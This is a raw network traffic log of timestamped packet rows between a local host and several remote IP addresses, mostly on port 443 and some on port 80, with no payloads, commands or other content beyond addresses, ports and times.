Nov 23, 2024 19:52:21.905811071 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.905894995 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.905900002 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.905957937 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.914254904 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.914323092 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.914330006 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.914407015 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.919848919 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.919914007 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.919920921 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.919965982 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.925931931 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.925954103 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.925993919 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.926003933 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.926033974 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.926050901 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.928143024 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.928226948 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.928241968 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.928319931 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.956522942 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.956541061 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.956645012 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.956655025 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.956808090 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.990659952 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.990744114 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.990756989 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.990804911 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.996944904 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.997013092 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.997019053 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.997071981 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.018557072 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.018625975 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.018635035 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.018707037 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.026968002 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.027026892 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.027034044 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.027333975 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.033586979 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.033653021 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.033662081 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.033816099 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.039830923 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.039906025 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.039913893 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.039978981 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.048275948 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.048346043 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.048355103 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.048723936 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.049949884 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.049978971 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.050015926 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.050024986 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.050097942 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.050097942 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.054755926 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.054827929 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.054836035 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.055047989 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.066019058 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.066080093 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.066092968 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.066131115 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.074429989 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.074533939 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.074533939 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.074544907 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.074585915 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.080935955 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.081006050 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.081013918 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.081079006 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.110402107 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.110472918 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.110485077 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.110541105 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.112402916 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.112469912 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.112483978 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.112539053 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.114748001 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.114814043 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.114821911 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.114862919 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.122397900 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.122456074 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.122464895 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.122555971 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.127947092 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.128019094 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.128026962 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.128092051 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.133527994 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.133586884 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.133600950 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.133699894 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.139555931 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.140309095 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.140324116 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.140798092 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.140803099 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.140872002 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.140928984 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.140935898 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.141010046 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.142749071 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:22.142766953 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:22.142776966 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:22.142811060 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:22.142817020 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:22.142849922 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:22.142851114 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:22.142864943 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:22.142883062 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:22.142906904 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:22.142935038 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:22.142972946 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:22.144648075 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:22.146207094 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.146291971 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.146298885 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.146388054 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.147977114 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.148044109 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.148057938 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.148075104 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.148109913 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.148134947 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.150965929 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.151031017 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.151038885 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.151086092 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.154072046 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.154129982 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.154136896 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.154177904 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.157553911 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.157607079 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.157613993 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.157701969 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.162103891 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.162164927 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.162173986 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.162266016 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.165024996 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.165086031 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.165092945 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.165142059 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.168764114 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.168814898 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.168850899 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.168859005 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.168885946 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.168898106 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.169615030 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.169678926 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.169687033 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.169815063 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.173125029 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.173190117 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.173198938 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.173270941 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.177696943 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.177761078 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.177768946 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.177819014 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.181128025 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.181195974 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.181202888 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.181459904 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.184969902 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.185035944 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.185044050 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.185122967 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.186697006 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.186743975 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.186791897 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.186803102 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.186836004 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.186851978 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.189310074 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.189393044 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.189400911 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.189502954 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.192672968 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.192761898 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.192770004 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.192867041 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.196742058 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.196810961 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.196818113 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.196906090 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.200556040 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.200639009 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.200648069 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.200691938 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.203727961 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.203814030 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.203823090 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.203985929 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.204482079 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.204530001 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.204565048 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.204572916 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.204608917 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.204624891 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.208251953 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.208331108 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.208338022 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.208493948 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.211841106 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.211903095 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.211910963 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.212044954 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.216377974 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.216440916 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.216448069 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.216506958 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.229195118 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.229206085 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.229859114 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.229872942 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.230462074 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.230468988 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.230787039 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.230803013 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.231219053 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:22.231223106 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:22.234960079 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.235008955 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.235028982 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.235037088 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.235050917 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.235071898 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.235102892 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.235107899 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.235115051 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.235162973 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.238938093 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.239007950 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.239015102 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.239068985 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.242508888 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.242580891 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.242588043 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.242649078 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.245908022 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.245980024 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.245986938 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.246040106 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.249629021 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.249650002 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.249710083 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.249731064 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.249771118 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.249789953 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.250504971 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.250557899 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.250586033 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.250590086 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.250695944 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.254121065 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.254195929 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.254203081 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.254281044 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.258573055 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.258646011 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.258651972 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.258761883 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.269006014 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.269083977 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.269092083 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.269193888 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.272531033 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.272614956 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.272622108 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.272666931 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.276746988 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.276819944 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.276834011 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.276901960 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.278072119 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:22.279973030 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.280050039 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.280056953 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.280158043 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.282349110 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.282368898 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.282438993 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.282455921 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.282483101 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.282505989 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.283659935 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.283730030 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.283741951 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.283830881 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.286317110 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.286380053 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.286386013 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.286462069 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.289653063 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.289717913 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.289725065 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.289777040 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.292223930 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.292300940 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.292308092 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.292568922 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.294790030 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.294889927 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.294897079 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.295082092 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.298152924 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.298254013 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.298259974 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.298409939 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.300321102 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.300388098 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.300435066 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.300451994 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.300506115 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.300506115 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.312776089 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.312877893 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.312885046 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.312923908 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.314599037 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.314677000 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.314682961 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.317477942 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.317573071 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:22.317579985 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.317877054 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:22.317944050 CET	443	49729	150.171.27.10	192.168.2.6
